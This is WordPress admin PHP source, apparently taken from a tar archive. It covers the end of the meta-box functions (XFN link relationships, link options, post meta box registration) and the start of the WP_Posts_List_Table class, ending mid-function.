 * Display checked checkboxes attribute for xfn microformat options.
 *
 * @since 1.0.1
 *
 * @global object $link
 *
 * @param string $class
 * @param string $value
 * @param mixed  $deprecated Never used.
 */
function xfn_check( $class, $value = '', $deprecated = '' ) {
	global $link;

if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.5.0' ); // Never implemented.
	}

$link_rel = isset( $link->link_rel ) ? $link->link_rel : ''; // In PHP 5.3: $link_rel = $link->link_rel ?: '';
	$rels     = preg_split( '/\s+/', $link_rel );

if ( '' !== $value && in_array( $value, $rels, true ) ) {
		echo ' checked="checked"';
	}

if ( '' === $value ) {
		if ( 'family' === $class && strpos( $link_rel, 'child' ) === false && strpos( $link_rel, 'parent' ) === false && strpos( $link_rel, 'sibling' ) === false && strpos( $link_rel, 'spouse' ) === false && strpos( $link_rel, 'kin' ) === false ) {
			echo ' checked="checked"';
		}
		if ( 'friendship' === $class && strpos( $link_rel, 'friend' ) === false && strpos( $link_rel, 'acquaintance' ) === false && strpos( $link_rel, 'contact' ) === false ) {
			echo ' checked="checked"';
		}
		if ( 'geographical' === $class && strpos( $link_rel, 'co-resident' ) === false && strpos( $link_rel, 'neighbor' ) === false ) {
			echo ' checked="checked"';
		}
		if ( 'identity' === $class && in_array( 'me', $rels, true ) ) {
			echo ' checked="checked"';
		}
	}
}

/**
 * Display xfn form fields.
 *
 * @since 2.6.0
 *
 * @param object $link
 */
function link_xfn_meta_box( $link ) {
	?>
<table class="links-table">
	<tr>
		<th scope="row"><label for="link_rel"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'rel:' ); ?></label></th>
		<td><input type="text" name="link_rel" id="link_rel" value="<?php echo ( isset( $link->link_rel ) ? esc_attr( $link->link_rel ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'identity' ); ?></th>
		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'identity' ); ?></span></legend>
			<label for="me">
			<input type="checkbox" name="identity" value="me" id="me" <?php xfn_check( 'identity', 'me' ); ?> />
			<?php _e( 'another web address of mine' ); ?></label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'friendship' ); ?></th>
		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'friendship' ); ?></span></legend>
			<label for="contact">
			<input class="valinp" type="radio" name="friendship" value="contact" id="contact" <?php xfn_check( 'friendship', 'contact' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'contact' ); ?>
			</label>
			<label for="acquaintance">
			<input class="valinp" type="radio" name="friendship" value="acquaintance" id="acquaintance" <?php xfn_check( 'friendship', 'acquaintance' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'acquaintance' ); ?>
			</label>
			<label for="friend">
			<input class="valinp" type="radio" name="friendship" value="friend" id="friend" <?php xfn_check( 'friendship', 'friend' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'friend' ); ?>
			</label>
			<label for="friendship">
			<input name="friendship" type="radio" class="valinp" value="" id="friendship" <?php xfn_check( 'friendship' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'physical' ); ?> </th>
		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'physical' ); ?></span></legend>
			<label for="met">
			<input class="valinp" type="checkbox" name="physical" value="met" id="met" <?php xfn_check( 'physical', 'met' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'met' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'professional' ); ?> </th>
		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'professional' ); ?></span></legend>
			<label for="co-worker">
			<input class="valinp" type="checkbox" name="professional" value="co-worker" id="co-worker" <?php xfn_check( 'professional', 'co-worker' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'co-worker' ); ?>
			</label>
			<label for="colleague">
			<input class="valinp" type="checkbox" name="professional" value="colleague" id="colleague" <?php xfn_check( 'professional', 'colleague' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'colleague' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'geographical' ); ?></th>
		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'geographical' ); ?> </span></legend>
			<label for="co-resident">
			<input class="valinp" type="radio" name="geographical" value="co-resident" id="co-resident" <?php xfn_check( 'geographical', 'co-resident' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'co-resident' ); ?>
			</label>
			<label for="neighbor">
			<input class="valinp" type="radio" name="geographical" value="neighbor" id="neighbor" <?php xfn_check( 'geographical', 'neighbor' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'neighbor' ); ?>
			</label>
			<label for="geographical">
			<input class="valinp" type="radio" name="geographical" value="" id="geographical" <?php xfn_check( 'geographical' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'family' ); ?></th>
		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'family' ); ?> </span></legend>
			<label for="child">
			<input class="valinp" type="radio" name="family" value="child" id="child" <?php xfn_check( 'family', 'child' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'child' ); ?>
			</label>
			<label for="kin">
			<input class="valinp" type="radio" name="family" value="kin" id="kin" <?php xfn_check( 'family', 'kin' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'kin' ); ?>
			</label>
			<label for="parent">
			<input class="valinp" type="radio" name="family" value="parent" id="parent" <?php xfn_check( 'family', 'parent' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'parent' ); ?>
			</label>
			<label for="sibling">
			<input class="valinp" type="radio" name="family" value="sibling" id="sibling" <?php xfn_check( 'family', 'sibling' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'sibling' ); ?>
			</label>
			<label for="spouse">
			<input class="valinp" type="radio" name="family" value="spouse" id="spouse" <?php xfn_check( 'family', 'spouse' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'spouse' ); ?>
			</label>
			<label for="family">
			<input class="valinp" type="radio" name="family" value="" id="family" <?php xfn_check( 'family' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'romantic' ); ?></th>
		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'romantic' ); ?> </span></legend>
			<label for="muse">
			<input class="valinp" type="checkbox" name="romantic" value="muse" id="muse" <?php xfn_check( 'romantic', 'muse' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'muse' ); ?>
			</label>
			<label for="crush">
			<input class="valinp" type="checkbox" name="romantic" value="crush" id="crush" <?php xfn_check( 'romantic', 'crush' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'crush' ); ?>
			</label>
			<label for="date">
			<input class="valinp" type="checkbox" name="romantic" value="date" id="date" <?php xfn_check( 'romantic', 'date' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'date' ); ?>
			</label>
			<label for="romantic">
			<input class="valinp" type="checkbox" name="romantic" value="sweetheart" id="romantic" <?php xfn_check( 'romantic', 'sweetheart' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'sweetheart' ); ?>
			</label>
		</fieldset></td>
	</tr>

</table>
<p><?php _e( 'If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href="https://gmpg.org/xfn/">XFN</a>.' ); ?></p>
	<?php
}

/**
 * Display advanced link options form fields.
 *
 * @since 2.6.0
 *
 * @param object $link
 */
function link_advanced_meta_box( $link ) {
	?>
<table class="links-table" cellpadding="0">
	<tr>
		<th scope="row"><label for="link_image"><?php _e( 'Image Address' ); ?></label></th>
		<td><input type="text" name="link_image" class="code" id="link_image" maxlength="255" value="<?php echo ( isset( $link->link_image ) ? esc_attr( $link->link_image ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><label for="rss_uri"><?php _e( 'RSS Address' ); ?></label></th>
		<td><input name="link_rss" class="code" type="text" id="rss_uri" maxlength="255" value="<?php echo ( isset( $link->link_rss ) ? esc_attr( $link->link_rss ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><label for="link_notes"><?php _e( 'Notes' ); ?></label></th>
		<td><textarea name="link_notes" id="link_notes" rows="10"><?php echo ( isset( $link->link_notes ) ? $link->link_notes : '' ); // textarea_escaped ?></textarea></td>
	</tr>
	<tr>
		<th scope="row"><label for="link_rating"><?php _e( 'Rating' ); ?></label></th>
		<td><select name="link_rating" id="link_rating" size="1">
		<?php
		for ( $parsed_args = 0; $parsed_args <= 10; $parsed_args++ ) {
			echo '<option value="' . $parsed_args . '"';
			if ( isset( $link->link_rating ) && $link->link_rating == $parsed_args ) {
				echo ' selected="selected"';
			}
			echo( '>' . $parsed_args . '</option>' );
		}
		?>
		</select>&nbsp;<?php _e( '(Leave at 0 for no rating.)' ); ?>
		</td>
	</tr>
</table>
	<?php
}

/**
 * Display post thumbnail meta box.
 *
 * @since 2.9.0
 *
 * @param WP_Post $post A post object.
 */
function post_thumbnail_meta_box( $post ) {
	$thumbnail_id = get_post_meta( $post->ID, '_thumbnail_id', true );
	echo _wp_post_thumbnail_html( $thumbnail_id, $post->ID );
}

/**
 * Display fields for ID3 data
 *
 * @since 3.9.0
 *
 * @param WP_Post $post A post object.
 */
function attachment_id3_data_meta_box( $post ) {
	$meta = array();
	if ( ! empty( $post->ID ) ) {
		$meta = wp_get_attachment_metadata( $post->ID );
	}

foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) :
		$value = '';
		if ( ! empty( $meta[ $key ] ) ) {
			$value = $meta[ $key ];
		}
		?>
	<p>
		<label for="title"><?php echo $label; ?></label><br />
		<input type="text" name="id3_<?php echo esc_attr( $key ); ?>" id="id3_<?php echo esc_attr( $key ); ?>" class="large-text" value="<?php echo esc_attr( $value ); ?>" />
	</p>
		<?php
	endforeach;
}

/**
 * Registers the default post meta boxes, and runs the `do_meta_boxes` actions.
 *
 * @since 5.0.0
 *
 * @param WP_Post $post The post object that these meta boxes are being generated for.
 */
function register_and_do_post_meta_boxes( $post ) {
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );

$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
	if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
		if ( wp_attachment_is( 'audio', $post ) ) {
			$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
		} elseif ( wp_attachment_is( 'video', $post ) ) {
			$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
		}
	}

$publish_callback_args = array( '__back_compat_meta_box' => true );

if ( post_type_supports( $post_type, 'revisions' ) && 'auto-draft' !== $post->post_status ) {
		$revisions = wp_get_post_revisions( $post->ID, array( 'fields' => 'ids' ) );

// We should aim to show the revisions meta box only when there are revisions.
		if ( count( $revisions ) > 1 ) {
			$publish_callback_args = array(
				'revisions_count'        => count( $revisions ),
				'revision_id'            => reset( $revisions ),
				'__back_compat_meta_box' => true,
			);

add_meta_box( 'revisionsdiv', __( 'Revisions' ), 'post_revisions_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	}

if ( 'attachment' === $post_type ) {
		wp_enqueue_script( 'image-edit' );
		wp_enqueue_style( 'imgareaselect' );
		add_meta_box( 'submitdiv', __( 'Save' ), 'attachment_submit_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
		add_action( 'edit_form_after_title', 'edit_form_image_editor' );

if ( wp_attachment_is( 'audio', $post ) ) {
			add_meta_box( 'attachment-id3', __( 'Metadata' ), 'attachment_id3_data_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	} else {
		add_meta_box( 'submitdiv', __( 'Publish' ), 'post_submit_meta_box', null, 'side', 'core', $publish_callback_args );
	}

if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post_type, 'post-formats' ) ) {
		add_meta_box( 'formatdiv', _x( 'Format', 'post format' ), 'post_format_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
	}

// All taxonomies.
	foreach ( get_object_taxonomies( $post ) as $tax_name ) {
		$taxonomy = get_taxonomy( $tax_name );
		if ( ! $taxonomy->show_ui || false === $taxonomy->meta_box_cb ) {
			continue;
		}

$label = $taxonomy->labels->name;

if ( ! is_taxonomy_hierarchical( $tax_name ) ) {
			$tax_meta_box_id = 'tagsdiv-' . $tax_name;
		} else {
			$tax_meta_box_id = $tax_name . 'div';
		}

add_meta_box(
			$tax_meta_box_id,
			$label,
			$taxonomy->meta_box_cb,
			null,
			'side',
			'core',
			array(
				'taxonomy'               => $tax_name,
				'__back_compat_meta_box' => true,
			)
		);
	}

if ( post_type_supports( $post_type, 'page-attributes' ) || count( get_page_templates( $post ) ) > 0 ) {
		add_meta_box( 'pageparentdiv', $post_type_object->labels->attributes, 'page_attributes_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
	}

if ( $thumbnail_support && current_user_can( 'upload_files' ) ) {
		add_meta_box( 'postimagediv', esc_html( $post_type_object->labels->featured_image ), 'post_thumbnail_meta_box', null, 'side', 'low', array( '__back_compat_meta_box' => true ) );
	}

if ( post_type_supports( $post_type, 'excerpt' ) ) {
		add_meta_box( 'postexcerpt', __( 'Excerpt' ), 'post_excerpt_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

if ( post_type_supports( $post_type, 'trackbacks' ) ) {
		add_meta_box( 'trackbacksdiv', __( 'Send Trackbacks' ), 'post_trackback_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

if ( post_type_supports( $post_type, 'custom-fields' ) ) {
		add_meta_box(
			'postcustom',
			__( 'Custom Fields' ),
			'post_custom_meta_box',
			null,
			'normal',
			'core',
			array(
				'__back_compat_meta_box'             => ! (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ),
				'__block_editor_compatible_meta_box' => true,
			)
		);
	}

/**
	 * Fires in the middle of built-in meta box registration.
	 *
	 * @since 2.1.0
	 * @deprecated 3.7.0 Use {@see 'add_meta_boxes'} instead.
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action_deprecated( 'dbx_post_advanced', array( $post ), '3.7.0', 'add_meta_boxes' );

// Allow the Discussion meta box to show up if the post type supports comments,
	// or if comments or pings are open.
	if ( comments_open( $post ) || pings_open( $post ) || post_type_supports( $post_type, 'comments' ) ) {
		add_meta_box( 'commentstatusdiv', __( 'Discussion' ), 'post_comment_status_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

$stati = get_post_stati( array( 'public' => true ) );
	if ( empty( $stati ) ) {
		$stati = array( 'publish' );
	}
	$stati[] = 'private';

if ( in_array( get_post_status( $post ), $stati, true ) ) {
		// If the post type support comments, or the post has comments,
		// allow the Comments meta box.
		if ( comments_open( $post ) || pings_open( $post ) || $post->comment_count > 0 || post_type_supports( $post_type, 'comments' ) ) {
			add_meta_box( 'commentsdiv', __( 'Comments' ), 'post_comment_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	}

if ( ! ( 'pending' === get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) ) ) {
		add_meta_box( 'slugdiv', __( 'Slug' ), 'post_slug_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

if ( post_type_supports( $post_type, 'author' ) && current_user_can( $post_type_object->cap->edit_others_posts ) ) {
		add_meta_box( 'authordiv', __( 'Author' ), 'post_author_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

/**
	 * Fires after all built-in meta boxes have been added.
	 *
	 * @since 3.0.0
	 *
	 * @param string  $post_type Post type.
	 * @param WP_Post $post      Post object.
	 */
	do_action( 'add_meta_boxes', $post_type, $post );

/**
	 * Fires after all built-in meta boxes have been added, contextually for the given post type.
	 *
	 * The dynamic portion of the hook, `$post_type`, refers to the post type of the post.
	 *
	 * @since 3.0.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( "add_meta_boxes_{$post_type}", $post );

/**
	 * Fires after meta boxes have been added.
	 *
	 * Fires once for each of the default meta box contexts: normal, advanced, and side.
	 *
	 * @since 3.0.0
	 *
	 * @param string                $post_type Post type of the post on Edit Post screen, 'link' on Edit Link screen,
	 *                                         'dashboard' on Dashboard screen.
	 * @param string                $context   Meta box context. Possible values include 'normal', 'advanced', 'side'.
	 * @param WP_Post|object|string $post      Post object on Edit Post screen, link object on Edit Link screen,
	 *                                         an empty string on Dashboard screen.
	 */
	do_action( 'do_meta_boxes', $post_type, 'normal', $post );
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $post_type, 'advanced', $post );
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $post_type, 'side', $post );
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-posts-list-table.php�����������������������������������������������������������������������0000604�����������������00000161470�15075125354�0012226 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Posts_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying posts in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_Posts_List_Table extends WP_List_Table {

/**
	 * Whether the items should be displayed hierarchically or linearly.
	 *
	 * @since 3.1.0
	 * @var bool
	 */
	protected $hierarchical_display;

/**
	 * Holds the number of pending comments for each post.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $comment_pending_count;

/**
	 * Holds the number of posts for this user.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $user_posts_count;

/**
	 * Holds the number of posts which are sticky.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $sticky_posts_count = 0;

private $is_trash;

/**
	 * Current level for output.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	protected $current_level = 0;

/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global WP_Post_Type $post_type_object
	 * @global wpdb         $wpdb             WordPress database abstraction object.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_type_object, $wpdb;

parent::__construct(
			array(
				'plural' => 'posts',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

$post_type        = $this->screen->post_type;
		$post_type_object = get_post_type_object( $post_type );

$exclude_states         = get_post_stati(
			array(
				'show_in_admin_all_list' => false,
			)
		);
		$this->user_posts_count = intval(
			$wpdb->get_var(
				$wpdb->prepare(
					"
			SELECT COUNT( 1 )
			FROM $wpdb->posts
			WHERE post_type = %s
			AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' )
			AND post_author = %d
		",
					$post_type,
					get_current_user_id()
				)
			)
		);

if ( $this->user_posts_count && ! current_user_can( $post_type_object->cap->edit_others_posts ) && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] ) && empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] ) ) {
			$_GET['author'] = get_current_user_id();
		}

$sticky_posts = get_option( 'sticky_posts' );
		if ( 'post' === $post_type && $sticky_posts ) {
			$sticky_posts             = implode( ', ', array_map( 'absint', (array) $sticky_posts ) );
			$this->sticky_posts_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ('trash', 'auto-draft') AND ID IN ($sticky_posts)", $post_type ) );
		}
	}

/**
	 * Sets whether the table layout should be hierarchical or not.
	 *
	 * @since 4.2.0
	 *
	 * @param bool $display Whether the table layout should be hierarchical.
	 */
	public function set_hierarchical_display( $display ) {
		$this->hierarchical_display = $display;
	}

/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
	}

/**
	 * @global string   $mode             List table view mode.
	 * @global array    $avail_post_stati
	 * @global WP_Query $wp_query         WordPress Query object.
	 * @global int      $per_page
	 */
	public function prepare_items() {
		global $mode, $avail_post_stati, $wp_query, $per_page;

if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'posts_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

// Is going to call wp().
		$avail_post_stati = wp_edit_posts_query();

$this->set_hierarchical_display( is_post_type_hierarchical( $this->screen->post_type ) && 'menu_order title' === $wp_query->query['orderby'] );

$post_type = $this->screen->post_type;
		$per_page  = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' );

/** This filter is documented in wp-admin/includes/post.php */
		$per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type );

if ( $this->hierarchical_display ) {
			$total_items = $wp_query->post_count;
		} elseif ( $wp_query->found_posts || $this->get_pagenum() === 1 ) {
			$total_items = $wp_query->found_posts;
		} else {
			$post_counts = (array) wp_count_posts( $post_type, 'readable' );

if ( isset( $_REQUEST['post_status'] ) && in_array( $_REQUEST['post_status'], $avail_post_stati, true ) ) {
				$total_items = $post_counts[ $_REQUEST['post_status'] ];
			} elseif ( isset( $_REQUEST['show_sticky'] ) && $_REQUEST['show_sticky'] ) {
				$total_items = $this->sticky_posts_count;
			} elseif ( isset( $_GET['author'] ) && get_current_user_id() == $_GET['author'] ) {
				$total_items = $this->user_posts_count;
			} else {
				$total_items = array_sum( $post_counts );

// Subtract post types that are not included in the admin all list.
				foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
					$total_items -= $post_counts[ $state ];
				}
			}
		}

$this->is_trash = isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'];

$this->set_pagination_args(
			array(
				'total_items' => $total_items,
				'per_page'    => $per_page,
			)
		);
	}

/**
	 * @return bool
	 */
	public function has_items() {
		return have_posts();
	}

/**
	 */
	public function no_items() {
		if ( isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'] ) {
			echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash;
		} else {
			echo get_post_type_object( $this->screen->post_type )->labels->not_found;
		}
	}

/**
	 * Determine if the current view is the "All" view.
	 *
	 * @since 4.2.0
	 *
	 * @return bool Whether the current view is the "All" view.
	 */
	protected function is_base_request() {
		$vars = $_GET;
		unset( $vars['paged'] );

if ( empty( $vars ) ) {
			return true;
		} elseif ( 1 === count( $vars ) && ! empty( $vars['post_type'] ) ) {
			return $this->screen->post_type === $vars['post_type'];
		}

return 1 === count( $vars ) && ! empty( $vars['mode'] );
	}

/**
	 * Helper to create links to edit.php with params.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $args  Associative array of URL parameters for the link.
	 * @param string   $label Link text.
	 * @param string   $class Optional. Class attribute. Default empty string.
	 * @return string The formatted link string.
	 */
	protected function get_edit_link( $args, $label, $class = '' ) {
		$url = add_query_arg( $args, 'edit.php' );

$class_html   = '';
		$aria_current = '';
		if ( ! empty( $class ) ) {
			$class_html = sprintf(
				' class="%s"',
				esc_attr( $class )
			);

if ( 'current' === $class ) {
				$aria_current = ' aria-current="page"';
			}
		}

return sprintf(
			'<a href="%s"%s%s>%s</a>',
			esc_url( $url ),
			$class_html,
			$aria_current,
			$label
		);
	}

/**
	 * @global array $locked_post_status This seems to be deprecated.
	 * @global array $avail_post_stati
	 * @return array
	 */
	protected function get_views() {
		global $locked_post_status, $avail_post_stati;

$post_type = $this->screen->post_type;

if ( ! empty( $locked_post_status ) ) {
			return array();
		}

$status_links = array();
		$num_posts    = wp_count_posts( $post_type, 'readable' );
		$total_posts  = array_sum( (array) $num_posts );
		$class        = '';

$current_user_id = get_current_user_id();
		$all_args        = array( 'post_type' => $post_type );
		$mine            = '';

// Subtract post types that are not included in the admin all list.
		foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
			$total_posts -= $num_posts->$state;
		}

if ( $this->user_posts_count && $this->user_posts_count !== $total_posts ) {
			if ( isset( $_GET['author'] ) && ( $_GET['author'] == $current_user_id ) ) {
				$class = 'current';
			}

$mine_args = array(
				'post_type' => $post_type,
				'author'    => $current_user_id,
			);

$mine_inner_html = sprintf(
				/* translators: %s: Number of posts. */
				_nx(
					'Mine <span class="count">(%s)</span>',
					'Mine <span class="count">(%s)</span>',
					$this->user_posts_count,
					'posts'
				),
				number_format_i18n( $this->user_posts_count )
			);

$mine = $this->get_edit_link( $mine_args, $mine_inner_html, $class );

$all_args['all_posts'] = 1;
			$class                 = '';
		}

if ( empty( $class ) && ( $this->is_base_request() || isset( $_REQUEST['all_posts'] ) ) ) {
			$class = 'current';
		}

$all_inner_html = sprintf(
			/* translators: %s: Number of posts. */
			_nx(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				$total_posts,
				'posts'
			),
			number_format_i18n( $total_posts )
		);

$status_links['all'] = $this->get_edit_link( $all_args, $all_inner_html, $class );
		if ( $mine ) {
			$status_links['mine'] = $mine;
		}

foreach ( get_post_stati( array( 'show_in_admin_status_list' => true ), 'objects' ) as $status ) {
			$class = '';

$status_name = $status->name;

if ( ! in_array( $status_name, $avail_post_stati, true ) || empty( $num_posts->$status_name ) ) {
				continue;
			}

if ( isset( $_REQUEST['post_status'] ) && $status_name === $_REQUEST['post_status'] ) {
				$class = 'current';
			}

$status_args = array(
				'post_status' => $status_name,
				'post_type'   => $post_type,
			);

$status_label = sprintf(
				translate_nooped_plural( $status->label_count, $num_posts->$status_name ),
				number_format_i18n( $num_posts->$status_name )
			);

$status_links[ $status_name ] = $this->get_edit_link( $status_args, $status_label, $class );
		}

if ( ! empty( $this->sticky_posts_count ) ) {
			$class = ! empty( $_REQUEST['show_sticky'] ) ? 'current' : '';

$sticky_args = array(
				'post_type'   => $post_type,
				'show_sticky' => 1,
			);

$sticky_inner_html = sprintf(
				/* translators: %s: Number of posts. */
				_nx(
					'Sticky <span class="count">(%s)</span>',
					'Sticky <span class="count">(%s)</span>',
					$this->sticky_posts_count,
					'posts'
				),
				number_format_i18n( $this->sticky_posts_count )
			);

$sticky_link = array(
				'sticky' => $this->get_edit_link( $sticky_args, $sticky_inner_html, $class ),
			);

// Sticky comes after Publish, or if not listed, after All.
			$split        = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ), true );
			$status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) );
		}

return $status_links;
	}

/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions       = array();
		$post_type_obj = get_post_type_object( $this->screen->post_type );

if ( current_user_can( $post_type_obj->cap->edit_posts ) ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = __( 'Restore' );
			} else {
				$actions['edit'] = __( 'Edit' );
			}
		}

if ( current_user_can( $post_type_obj->cap->delete_posts ) ) {
			if ( $this->is_trash || ! EMPTY_TRASH_DAYS ) {
				$actions['delete'] = __( 'Delete permanently' );
			} else {
				$actions['trash'] = __( 'Move to Trash' );
			}
		}

return $actions;
	}

/**
	 * Displays a categories drop-down for filtering on the Posts list table.
	 *
	 * @since 4.6.0
	 *
	 * @global int $cat Currently selected category.
	 *
	 * @param string $post_type Post type slug.
	 */
	protected function categories_dropdown( $post_type ) {
		global $cat;

/**
		 * Filters whether to remove the 'Categories' drop-down from the post list table.
		 *
		 * @since 4.6.0
		 *
		 * @param bool   $disable   Whether to disable the categories drop-down. Default false.
		 * @param string $post_type Post type slug.
		 */
		if ( false !== apply_filters( 'disable_categories_dropdown', false, $post_type ) ) {
			return;
		}

if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
			$dropdown_options = array(
				'show_option_all' => get_taxonomy( 'category' )->labels->all_items,
				'hide_empty'      => 0,
				'hierarchical'    => 1,
				'show_count'      => 0,
				'orderby'         => 'name',
				'selected'        => $cat,
			);

echo '<label class="screen-reader-text" for="cat">' . __( 'Filter by category' ) . '</label>';
